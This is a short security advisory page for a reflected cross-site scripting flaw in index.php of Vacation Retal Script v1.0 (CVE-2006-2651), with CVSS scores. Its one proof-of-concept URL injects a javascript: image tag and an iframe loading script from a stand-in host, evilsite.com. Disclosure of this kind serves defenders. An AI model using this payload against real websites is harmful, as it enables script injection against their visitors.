Vacation Retal Script v1.0

2006-05-30 / 2006-05-31
Credit: luny youfucktard com
Risk: Low
Local: No
Remote: Yes
CVE: CVE-2006-2651
CWE: CWE-Other


CVSS Base Score: 2.6/10
Impact Subscore: 2.9/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Vacation Retal Script v1.0 Homepage: http://www.vacationrentalscript.com/ Description: Vacation Rentals is the best solution for your vacation rental online business. It?s easy to install, easy to use, provides lots of features and option details. Just check the online demo and convince yourself about how easy is to manage your business online. Effected files: index.php XSS Vulnerabilities: XSS attack possible from URL injection, proof of concept is below: http://www.example.com/index.php?obj=<INPUT%20TYPE="IMAGE"%20SRC=javascr ipt:alert('XSS');><iframe%20src=http://www.evilsite.com/code.js> -------------------------------------------------- Luny - http://www.youfucktard.com


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top